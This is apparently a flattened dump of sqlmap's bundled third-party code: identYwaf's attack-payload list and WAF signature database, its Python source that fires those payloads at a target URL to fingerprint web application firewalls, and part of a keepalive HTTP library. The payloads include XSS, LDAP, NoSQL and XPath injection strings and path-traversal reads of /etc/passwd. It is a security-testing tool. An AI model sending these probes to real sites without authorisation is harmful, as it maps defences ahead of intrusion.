I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS, I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS) class MinimalSoup(BeautifulSoup): """The MinimalSoup class is for parsing HTML that contains pathologically bad markup. It makes no assumptions about tag nesting, but it does know which tags are self-closing, that ", "XSS::\\\";alert('XSS');//", "XSS::1' onerror=alert(String.fromCharCode(88,83,83))>", "XSS::var n=0;while(true){n++;}]]>", "XSS::", "XSS::javascript:alert(/XSS/)", "XSS::", "XPATHi::' and count(/*)=1 and '1'='1", "XPATHi::count(/child::node())", "XPATHi::' and count(/comment())=1 and '1'='1", "XPATHi::' or '1'='1", "XXE::]>&xxe;", "LDAPi::admin*)((|userpassword=*)", "LDAPi::user=*)(uid=*))(|(uid=*", "LDAPi::*(|(objectclass=*))", "NOSQLi::true, $where: '1 == 1'", "NOSQLi::{ $ne: 1 }", "NOSQLi::' } ], $comment:'success'", "PHPi::", "ACE::netstat -antup | grep :443; ping 127.0.0.1; curl http://www.google.com", "PT:://///.htaccess", "PT::/etc/passwd", "PT::../../boot.ini", "PT::C:/inetpub/wwwroot/global.asa" ], "wafs": { "360": { "company": "360", "name": "360", "regex": "493|/wzws-waf-cgi/", "signatures": [ "9778:RVZXum61OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTC", "9ccc:RVZXum61OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A4chW1XaTC" ] }, "aesecure": { "company": "aeSecure", "name": "aeSecure", "regex": "aesecure_denied\\.png|aesecure-code: \\d+", "signatures": [ "8a4b:RVdXu260OEhCWapBYKcPk4JzWOtohM4JiUcMrmRXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZnxtDtBeq+c36A4chW1XaTD" ] }, "airlock": { "company": "Phion/Ergon", "name": "Airlock", "regex": "The server detected a syntax error in your request", "signatures": [ "3e2c:RVZXu261OEhCWapBYKcPk4JzWOtohM4IiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXomtKaK59n+i6c4RmkwI2FZjxtDtAeq6c36A5chW1XaTD" ] }, "alertlogic": { "company": "Alert Logic", "name": "Alert Logic", "regex": "(?s)timed_redirect\\(seconds, url\\).+?

    Reference ID:", "signatures": [] }, "aliyundun": { "company": "Alibaba Cloud Computing", "name": "AliYunDun", "regex": "Sorry, your request has been blocked as it may cause potential threats to the server's security|//errors\\.aliyun\\.com/", "signatures": [ "e082:RVZXum61OElCWapAYKYPkoJzWOpohM4JiUYMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC" ] }, "anquanbao": { "company": "Anquanbao", "name": "Anquanbao", "regex": "/aqb_cc/error/", "signatures": [ "c790:RVZXum61OElCWapAYKYPk4JzWOpohM4JiUYMr2RXg1uQJbX3uhdOn9hsOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", "d3d3:RVZXum61OElCWapAYKYPk4JzWOpohM4JiUYMr2RXg1uQJbX3uhdOn9hsOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC" ] }, "approach": { "company": "Approach", "name": "Approach", "regex": "Approach.+?Web Application (Firewall|Filtering)", "signatures": [ "fef0:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A5chW1XKTD" ] }, "armor": { "company": "Armor Defense", "name": "Armor Protection", "regex": "This request has been blocked by website protection from Armor", "signatures": [ "03ec:RVZXum60OEhCWapBYKYPk4JzWOtohM4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c36A4chS1XaTC", "1160:RVZXum60OEhCWapBYKYPk4JyWOtohM4IiUcMr2RWg1qQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" ], "note": "Uses SecureSphere (Imperva) (Reference: https://www.imperva.com/resources/case_studies/CS_Armor.pdf)" }, "asm": { "company": "F5 Networks", "name": "Application Security Manager", "regex": "The requested URL was rejected\\. Please consult with your administrator|security\\.f5aas\\.com", "signatures": [ "2f81:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI3FZjxtDtAeq+c36A4chS1XaTC", "4fd0:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC", "5904:RVZXum60OEhCWapBYKcPk4JzWOpohc4IiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c3qA4chS1XaTC", "8bcf:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq6c36A5chS1XaTC", "540f:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c36A5chS1XaTC", "c7ba:RVZXum60OEhCWKpAYKYPkoJzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtLaK99n+i7c4VmkwI3FZjxtDtAeq6c3qA4chS1XaTC", "fb21:RVZXum60OEhCWapBYKcPk4JzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI3FZjxtDtAeq+c36A5chW1XaTC", "b6ff:RVZXum61OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c36A4chW1XaTC", "3b1e:RVZXum60OEhCWapBYKcPk4JyWOpohM4IiUcMr2RWg1qQJLX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tKaK99nui7c4RmkgI2FZjxtDtAeq6c3qA5chS1XKTC", "620c:RVZXum60OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC", "b9a0:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c3qA4chW1XaTC", "ccb6:RVdXum61OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c36A5chW1XaTC", "9138:RVZXum60OEhCWapBYKcPk4JzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC", "54cc:RVZXum61OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC", "4c83:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTC", "8453:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c36A4chS1XaTC" ] }, "astra": { "company": "Czar Securities", "name": "Astra", "regex": "(?s)unfortunately our website protection system.+?//www\\.getastra\\.com", "signatures": [] }, "aws": { "company": "Amazon", "name": "AWS WAF", "regex": "(?i)HTTP/1.+\\b403\\b.+\\s+Server: aws|(?s)Request blocked.+?Generated by cloudfront", "signatures": [ "2998:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", "fffa:RVZXum60OEhCWapAYKYPk4JyWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPhJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", "9de0:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhZOnthtOj+hXrAA16BcPhJOdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", "34a8:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhdOn9htOj+hXrAB16BcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", "1104:RVZXum61OEhCWapBYKcPk4JzWOpohM4IiUcMr2RXg1uQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", "ea40:RVZXu261OEhCWapBYKcPk4JzWOtohM4IiUcMr2RWg1uQJbX3uhdOn9htOj+hXrAB16BcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" ] }, "barracuda": { "company": "Barracuda Networks", "name": "Barracuda", "regex": "\\bbarracuda_|barra_counter_session=|when this page occurred and the event ID found at the bottom of the page|||<[^>]+>|\s+", " ", retval[HTML]) match = re.search(r"(?im)^Server: (.+)", retval[RAW]) retval[SERVER] = match.group(1).strip() if match else "" return retval def calc_hash(value, binary=True): value = value.encode("utf8") if not isinstance(value, bytes) else value result = zlib.crc32(value) & 0xffff if binary: result = struct.pack(">H", result) return result def single_print(message): if message not in seen: print(message) seen.add(message) def check_payload(payload, protection_regex=GENERIC_PROTECTION_REGEX % '|'.join(GENERIC_PROTECTION_KEYWORDS)): global chained global heuristic global intrusive global locked_code global locked_regex time.sleep(options.delay or 0) if options.post: _ = "%s=%s" % ("".join(random.sample(string.ascii_letters, 3)), quote(payload)) intrusive = retrieve(options.url, _) else: _ = "%s%s%s=%s" % (options.url, '?' if '?' not in options.url else '&', "".join(random.sample(string.ascii_letters, 3)), quote(payload)) intrusive = retrieve(_) if options.lock and not payload.isdigit(): if payload == HEURISTIC_PAYLOAD: match = re.search(re.sub(r"Server:|Protected by", "".join(random.sample(string.ascii_letters, 6)), WAF_RECOGNITION_REGEX, flags=re.I), intrusive[RAW] or "") if match: result = True for _ in match.groupdict(): if match.group(_): waf = re.sub(r"\Awaf_", "", _) locked_regex = DATA_JSON["wafs"][waf]["regex"] locked_code = intrusive[HTTPCODE] break else: result = False if not result: exit(colorize("[x] can't lock results to a non-blind match")) else: result = re.search(locked_regex, intrusive[RAW]) is not None and locked_code == intrusive[HTTPCODE] elif options.string: result = options.string in (intrusive[RAW] or "") elif options.code: result = options.code == intrusive[HTTPCODE] else: result = intrusive[HTTPCODE] != original[HTTPCODE] or (intrusive[HTTPCODE] != 200 and intrusive[TITLE] != original[TITLE]) or (re.search(protection_regex, intrusive[HTML]) is not None and re.search(protection_regex, original[HTML]) is None) or (difflib.SequenceMatcher(a=original[HTML] or "", b=intrusive[HTML] or "").quick_ratio() < QUICK_RATIO_THRESHOLD) if not payload.isdigit(): if result: if options.debug: print("\r---%s" % (40 * ' ')) print(payload) print(intrusive[HTTPCODE], intrusive[RAW]) print("---") if intrusive[SERVER]: servers.add(re.sub(r"\s*\(.+\)\Z", "", intrusive[SERVER])) if len(servers) > 1: chained = True single_print(colorize("[!] multiple (reactive) rejection HTTP 'Server' headers detected (%s)" % ', '.join("'%s'" % _ for _ in sorted(servers)))) if intrusive[HTTPCODE]: codes.add(intrusive[HTTPCODE]) if len(codes) > 1: chained = True single_print(colorize("[!] multiple (reactive) rejection HTTP codes detected (%s)" % ', '.join("%s" % _ for _ in sorted(codes)))) if heuristic and heuristic[HTML] and intrusive[HTML] and difflib.SequenceMatcher(a=heuristic[HTML] or "", b=intrusive[HTML] or "").quick_ratio() < QUICK_RATIO_THRESHOLD: chained = True single_print(colorize("[!] multiple (reactive) rejection HTML responses detected")) if payload == HEURISTIC_PAYLOAD: heuristic = intrusive return result def colorize(message): if COLORIZE: message = re.sub(r"\[(.)\]", lambda match: "[%s%s\033[00;49m]" % (LEVEL_COLORS[match.group(1)], match.group(1)), message) if any(_ in message for _ in ("rejected summary", "challenge detected")): for match in re.finditer(r"[^\w]'([^)]+)'" if "rejected summary" in message else r"\('(.+)'\)", message): message = message.replace("'%s'" % match.group(1), "'\033[37m%s\033[00;49m'" % match.group(1), 1) else: for match in re.finditer(r"[^\w]'([^']+)'", message): message = message.replace("'%s'" % match.group(1), "'\033[37m%s\033[00;49m'" % match.group(1), 1) if "blind match" in message: for match in re.finditer(r"\(((\d+)%)\)", message): message = message.replace(match.group(1), "\033[%dm%s\033[00;49m" % (92 if int(match.group(2)) >= 95 else (93 if int(match.group(2)) > 80 else 90), match.group(1))) if "hardness" in message: for match in re.finditer(r"\(((\d+)%)\)", message): message = message.replace(match.group(1), "\033[%dm%s\033[00;49m" % (95 if " insane " in message else (91 if " hard " in message else (93 if " moderate " in message else 92)), match.group(1))) return message def parse_args(): global options parser = optparse.OptionParser(version=VERSION) parser.add_option("--delay", dest="delay", type=int, help="Delay (sec) between tests (default: 0)") parser.add_option("--timeout", dest="timeout", type=int, help="Response timeout (sec) (default: 10)") parser.add_option("--proxy", dest="proxy", help="HTTP proxy address (e.g. \"http://127.0.0.1:8080\")") parser.add_option("--proxy-file", dest="proxy_file", help="Load (rotating) HTTP(s) proxy list from a file") parser.add_option("--random-agent", dest="random_agent", action="store_true", help="Use random HTTP User-Agent header value") parser.add_option("--code", dest="code", type=int, help="Expected HTTP code in rejected responses") parser.add_option("--string", dest="string", help="Expected string in rejected responses") parser.add_option("--post", dest="post", action="store_true", help="Use POST body for sending payloads") parser.add_option("--debug", dest="debug", action="store_true", help=optparse.SUPPRESS_HELP) parser.add_option("--fast", dest="fast", action="store_true", help=optparse.SUPPRESS_HELP) parser.add_option("--lock", dest="lock", action="store_true", help=optparse.SUPPRESS_HELP) # Dirty hack(s) for help message def _(self, *args): retval = parser.formatter._format_option_strings(*args) if len(retval) > MAX_HELP_OPTION_LENGTH: retval = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retval return retval parser.usage = "python %s " % parser.usage parser.formatter._format_option_strings = parser.formatter.format_option_strings parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser) for _ in ("-h", "--version"): option = parser.get_option(_) option.help = option.help.capitalize() try: options, _ = parser.parse_args() except SystemExit: raise if len(sys.argv) > 1: url = sys.argv[-1] if not url.startswith("http"): url = "http://%s" % url options.url = url else: parser.print_help() raise SystemExit for key in DEFAULTS: if getattr(options, key, None) is None: setattr(options, key, DEFAULTS[key]) def load_data(): global WAF_RECOGNITION_REGEX if os.path.isfile(DATA_JSON_FILE): with codecs.open(DATA_JSON_FILE, "rb", encoding="utf8") as f: DATA_JSON.update(json.load(f)) WAF_RECOGNITION_REGEX = "" for waf in DATA_JSON["wafs"]: if DATA_JSON["wafs"][waf]["regex"]: WAF_RECOGNITION_REGEX += "%s|" % ("(?P%s)" % (waf, DATA_JSON["wafs"][waf]["regex"])) for signature in DATA_JSON["wafs"][waf]["signatures"]: SIGNATURES[signature] = waf WAF_RECOGNITION_REGEX = WAF_RECOGNITION_REGEX.strip('|') flags = "".join(set(_ for _ in "".join(re.findall(r"\(\?(\w+)\)", WAF_RECOGNITION_REGEX)))) WAF_RECOGNITION_REGEX = "(?%s)%s" % (flags, re.sub(r"\(\?\w+\)", "", WAF_RECOGNITION_REGEX)) # patch for "DeprecationWarning: Flags not at the start of the expression" in Python3.7 else: exit(colorize("[x] file '%s' is missing" % DATA_JSON_FILE)) def init(): os.chdir(os.path.abspath(os.path.dirname(__file__))) # Reference: http://blog.mathieu-leplatre.info/python-utf-8-print-fails-when-redirecting-stdout.html if not PY3 and not IS_TTY: sys.stdout = codecs.getwriter(locale.getpreferredencoding())(sys.stdout) print(colorize("[o] initializing handlers...")) # Reference: https://stackoverflow.com/a/28052583 if hasattr(ssl, "_create_unverified_context"): ssl._create_default_https_context = ssl._create_unverified_context if options.proxy_file: if os.path.isfile(options.proxy_file): print(colorize("[o] loading proxy list...")) with codecs.open(options.proxy_file, "rb", encoding="utf8") as f: proxies.extend(re.sub(r"\s.*", "", _.strip()) for _ in f.read().strip().split('\n') if _.startswith("http")) random.shuffle(proxies) else: exit(colorize("[x] file '%s' does not exist" % options.proxy_file)) cookie_jar = CookieJar() opener = build_opener(HTTPCookieProcessor(cookie_jar)) install_opener(opener) if options.proxy: opener = build_opener(ProxyHandler({"http": options.proxy, "https": options.proxy})) install_opener(opener) if options.random_agent: revision = random.randint(20, 64) platform = random.sample(("X11; %s %s" % (random.sample(("Linux", "Ubuntu; Linux", "U; Linux", "U; OpenBSD", "U; FreeBSD"), 1)[0], random.sample(("amd64", "i586", "i686", "amd64"), 1)[0]), "Windows NT %s%s" % (random.sample(("5.0", "5.1", "5.2", "6.0", "6.1", "6.2", "6.3", "10.0"), 1)[0], random.sample(("", "; Win64", "; WOW64"), 1)[0]), "Macintosh; Intel Mac OS X 10.%s" % random.randint(1, 11)), 1)[0] user_agent = "Mozilla/5.0 (%s; rv:%d.0) Gecko/20100101 Firefox/%d.0" % (platform, revision, revision) HEADERS["User-Agent"] = user_agent def format_name(waf): return "%s%s" % (DATA_JSON["wafs"][waf]["name"], (" (%s)" % DATA_JSON["wafs"][waf]["company"]) if DATA_JSON["wafs"][waf]["name"] != DATA_JSON["wafs"][waf]["company"] else "") def non_blind_check(raw, silent=False): retval = False match = re.search(WAF_RECOGNITION_REGEX, raw or "") if match: retval = True for _ in match.groupdict(): if match.group(_): waf = re.sub(r"\Awaf_", "", _) non_blind.add(waf) if not silent: single_print(colorize("[+] non-blind match: '%s'%s" % (format_name(waf), 20 * ' '))) return retval def run(): global original hostname = options.url.split("//")[-1].split('/')[0].split(':')[0] if not hostname.replace('.', "").isdigit(): print(colorize("[i] checking hostname '%s'..." % hostname)) try: socket.getaddrinfo(hostname, None) except socket.gaierror: exit(colorize("[x] host '%s' does not exist" % hostname)) results = "" signature = b"" counter = 0 original = retrieve(options.url) if 300 <= (original[HTTPCODE] or 0) < 400 and original[URL]: original = retrieve(original[URL]) options.url = original[URL] if original[HTTPCODE] is None: exit(colorize("[x] missing valid response")) if not any((options.string, options.code)) and original[HTTPCODE] >= 400: non_blind_check(original[RAW]) if options.debug: print("\r---%s" % (40 * ' ')) print(original[HTTPCODE], original[RAW]) print("---") exit(colorize("[x] access to host '%s' seems to be restricted%s" % (hostname, (" (%d: '%s')" % (original[HTTPCODE], original[TITLE].strip())) if original[TITLE] else ""))) challenge = None if all(_ in original[HTML].lower() for _ in ("eval", "]*>(.*)", re.sub(r"(?is)", "", original[HTML])) if re.search(r"(?i)<(body|div)", original[HTML]) is None or (match and len(match.group(1)) == 0): challenge = re.search(r"(?is)", original[HTML]).group(0).replace("\n", "\\n") print(colorize("[x] anti-robot JS challenge detected ('%s%s')" % (challenge[:MAX_JS_CHALLENGE_SNAPLEN], "..." if len(challenge) > MAX_JS_CHALLENGE_SNAPLEN else ""))) protection_keywords = GENERIC_PROTECTION_KEYWORDS protection_regex = GENERIC_PROTECTION_REGEX % '|'.join(keyword for keyword in protection_keywords if keyword not in original[HTML].lower()) print(colorize("[i] running basic heuristic test...")) if not check_payload(HEURISTIC_PAYLOAD): check = False if options.url.startswith("https://"): options.url = options.url.replace("https://", "http://") check = check_payload(HEURISTIC_PAYLOAD) if not check: if non_blind_check(intrusive[RAW]): exit(colorize("[x] unable to continue due to static responses%s" % (" (captcha)" if re.search(r"(?i)captcha", intrusive[RAW]) is not None else ""))) elif challenge is None: exit(colorize("[x] host '%s' does not seem to be protected" % hostname)) else: exit(colorize("[x] response not changing without JS challenge solved")) if options.fast and not non_blind: exit(colorize("[x] fast exit because of missing non-blind match")) if not intrusive[HTTPCODE]: print(colorize("[i] rejected summary: RST|DROP")) else: _ = "...".join(match.group(0) for match in re.finditer(GENERIC_ERROR_MESSAGE_REGEX, intrusive[HTML])).strip().replace(" ", " ") print(colorize(("[i] rejected summary: %d ('%s%s')" % (intrusive[HTTPCODE], ("%s" % intrusive[TITLE]) if intrusive[TITLE] else "", "" if not _ or intrusive[HTTPCODE] < 400 else ("...%s" % _))).replace(" ('')", ""))) found = non_blind_check(intrusive[RAW] if intrusive[HTTPCODE] is not None else original[RAW]) if not found: print(colorize("[-] non-blind match: -")) for item in DATA_JSON["payloads"]: info, payload = item.split("::", 1) counter += 1 if IS_TTY: sys.stdout.write(colorize("\r[i] running payload tests... (%d/%d)\r" % (counter, len(DATA_JSON["payloads"])))) sys.stdout.flush() if counter % VERIFY_OK_INTERVAL == 0: for i in xrange(VERIFY_RETRY_TIMES): if not check_payload(str(random.randint(1, 9)), protection_regex): break elif i == VERIFY_RETRY_TIMES - 1: exit(colorize("[x] host '%s' seems to be misconfigured or rejecting benign requests%s" % (hostname, (" (%d: '%s')" % (intrusive[HTTPCODE], intrusive[TITLE].strip())) if intrusive[TITLE] else ""))) else: time.sleep(5) last = check_payload(payload, protection_regex) non_blind_check(intrusive[RAW]) signature += struct.pack(">H", ((calc_hash(payload, binary=False) << 1) | last) & 0xffff) results += 'x' if last else '.' if last and info not in blocked: blocked.append(info) _ = calc_hash(signature) signature = "%s:%s" % (_.encode("hex") if not hasattr(_, "hex") else _.hex(), base64.b64encode(signature).decode("ascii")) print(colorize("%s[=] results: '%s'" % ("\n" if IS_TTY else "", results))) hardness = 100 * results.count('x') // len(results) print(colorize("[=] hardness: %s (%d%%)" % ("insane" if hardness >= 80 else ("hard" if hardness >= 50 else ("moderate" if hardness >= 30 else "easy")), hardness))) if blocked: print(colorize("[=] blocked categories: %s" % ", ".join(blocked))) if not results.strip('.') or not results.strip('x'): print(colorize("[-] blind match: -")) if re.search(r"(?i)captcha", original[HTML]) is not None: exit(colorize("[x] there seems to be an activated captcha")) else: print(colorize("[=] signature: '%s'" % signature)) if signature in SIGNATURES: waf = SIGNATURES[signature] print(colorize("[+] blind match: '%s' (100%%)" % format_name(waf))) elif results.count('x') < MIN_MATCH_PARTIAL: print(colorize("[-] blind match: -")) else: matches = {} markers = set() decoded = base64.b64decode(signature.split(':')[-1]) for i in xrange(0, len(decoded), 2): part = struct.unpack(">H", decoded[i: i + 2])[0] markers.add(part) for candidate in SIGNATURES: counter_y, counter_n = 0, 0 decoded = base64.b64decode(candidate.split(':')[-1]) for i in xrange(0, len(decoded), 2): part = struct.unpack(">H", decoded[i: i + 2])[0] if part in markers: counter_y += 1 elif any(_ in markers for _ in (part & ~1, part | 1)): counter_n += 1 result = int(round(100.0 * counter_y / (counter_y + counter_n))) if SIGNATURES[candidate] in matches: if result > matches[SIGNATURES[candidate]]: matches[SIGNATURES[candidate]] = result else: matches[SIGNATURES[candidate]] = result if chained: for _ in list(matches.keys()): if matches[_] < 90: del matches[_] if not matches: print(colorize("[-] blind match: - ")) print(colorize("[!] probably chained web protection systems")) else: matches = [(_[1], _[0]) for _ in matches.items()] matches.sort(reverse=True) print(colorize("[+] blind match: %s" % ", ".join("'%s' (%d%%)" % (format_name(matches[i][1]), matches[i][0]) for i in xrange(min(len(matches), MAX_MATCHES) if matches[0][0] != 100 else 1)))) print() def main(): if "--version" not in sys.argv: print(BANNER) parse_args() init() run() load_data() if __name__ == "__main__": try: main() except KeyboardInterrupt: exit(colorize("\r[x] Ctrl-C pressed")) sqlmap-1.9.6/thirdparty/keepalive/000077500000000000000000000000001502261744200171665ustar00rootroot00000000000000sqlmap-1.9.6/thirdparty/keepalive/__init__.py000066400000000000000000000013321502261744200212760ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright 2002-2003 Michael D. Stenner # # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU Lesser General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this program. If not, see . # pass sqlmap-1.9.6/thirdparty/keepalive/keepalive.py000066400000000000000000000544271502261744200215210ustar00rootroot00000000000000#!/usr/bin/env python # -*- coding: utf-8 -*- # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the # Free Software Foundation, Inc., # 59 Temple Place, Suite 330, # Boston, MA 02111-1307 USA # This file was part of urlgrabber, a high-level cross-protocol url-grabber # Copyright 2002-2004 Michael D. Stenner, Ryan Tomayko # Copyright 2015 Sergio Fernández """An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive. >>> import urllib2 >>> from keepalive import HTTPHandler >>> keepalive_handler = HTTPHandler() >>> opener = _urllib.request.build_opener(keepalive_handler) >>> _urllib.request.install_opener(opener) >>> >>> fo = _urllib.request.urlopen('http://www.python.org') If a connection to a given host is requested, and all of the existing connections are still in use, another connection will be opened. If the handler tries to use an existing connection but it fails in some way, it will be closed and removed from the pool. To remove the handler, simply re-run build_opener with no arguments, and install that opener. You can explicitly close connections by using the close_connection() method of the returned file-like object (described below) or you can use the handler methods: close_connection(host) close_all() open_connections() NOTE: using the close_connection and close_all methods of the handler should be done with care when using multiple threads. * there is nothing that prevents another thread from creating new connections immediately after connections are closed * no checks are done to prevent in-use connections from being closed >>> keepalive_handler.close_all() EXTRA ATTRIBUTES AND METHODS Upon a status of 200, the object returned has a few additional attributes and methods, which should not be used if you want to remain consistent with the normal urllib2-returned objects: close_connection() - close the connection to the host readlines() - you know, readlines() status - the return status (ie 404) reason - english translation of status (ie 'File not found') If you want the best of both worlds, use this inside an AttributeError-catching try: >>> try: status = fo.status >>> except AttributeError: status = None Unfortunately, these are ONLY there if status == 200, so it's not easy to distinguish between non-200 responses. The reason is that urllib2 tries to do clever things with error codes 301, 302, 401, and 407, and it wraps the object upon return. For python versions earlier than 2.4, you can avoid this fancy error handling by setting the module-level global HANDLE_ERRORS to zero. You see, prior to 2.4, it's the HTTP Handler's job to determine what to handle specially, and what to just pass up. HANDLE_ERRORS == 0 means "pass everything up". In python 2.4, however, this job no longer belongs to the HTTP Handler and is now done by a NEW handler, HTTPErrorProcessor. Here's the bottom line: python version < 2.4 HANDLE_ERRORS == 1 (default) pass up 200, treat the rest as errors HANDLE_ERRORS == 0 pass everything up, error processing is left to the calling code python version >= 2.4 HANDLE_ERRORS == 1 pass up 200, treat the rest as errors HANDLE_ERRORS == 0 (default) pass everything up, let the other handlers (specifically, HTTPErrorProcessor) decide what to do In practice, setting the variable either way makes little difference in python 2.4, so for the most consistent behavior across versions, you probably just want to use the defaults, which will give you exceptions on errors. """ from __future__ import print_function try: from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import range as _range from thirdparty.six.moves import urllib as _urllib except ImportError: from six.moves import http_client as _http_client from six.moves import range as _range from six.moves import urllib as _urllib import socket import threading DEBUG = None import sys if sys.version_info < (2, 4): HANDLE_ERRORS = 1 else: HANDLE_ERRORS = 0 class ConnectionManager: """ The connection manager must be able to: * keep track of all existing """ def __init__(self): self._lock = threading.Lock() self._hostmap = {} # map hosts to a list of connections self._connmap = {} # map connections to host self._readymap = {} # map connection to ready state def add(self, host, connection, ready): self._lock.acquire() try: if host not in self._hostmap: self._hostmap[host] = [] self._hostmap[host].append(connection) self._connmap[connection] = host self._readymap[connection] = ready finally: self._lock.release() def remove(self, connection): self._lock.acquire() try: try: host = self._connmap[connection] except KeyError: pass else: del self._connmap[connection] del self._readymap[connection] self._hostmap[host].remove(connection) if not self._hostmap[host]: del self._hostmap[host] finally: self._lock.release() def set_ready(self, connection, ready): try: self._readymap[connection] = ready except KeyError: pass def get_ready_conn(self, host): conn = None try: self._lock.acquire() if host in self._hostmap: for c in self._hostmap[host]: if self._readymap.get(c): self._readymap[c] = 0 conn = c break finally: self._lock.release() return conn def get_all(self, host=None): if host: return list(self._hostmap.get(host, [])) else: return dict(self._hostmap) class KeepAliveHandler: def __init__(self): self._cm = ConnectionManager() #### Connection Management def open_connections(self): """return a list of connected hosts and the number of connections to each. [('foo.com:80', 2), ('bar.org', 1)]""" return [(host, len(li)) for (host, li) in self._cm.get_all().items()] def close_connection(self, host): """close connection(s) to host is the host:port spec, as in 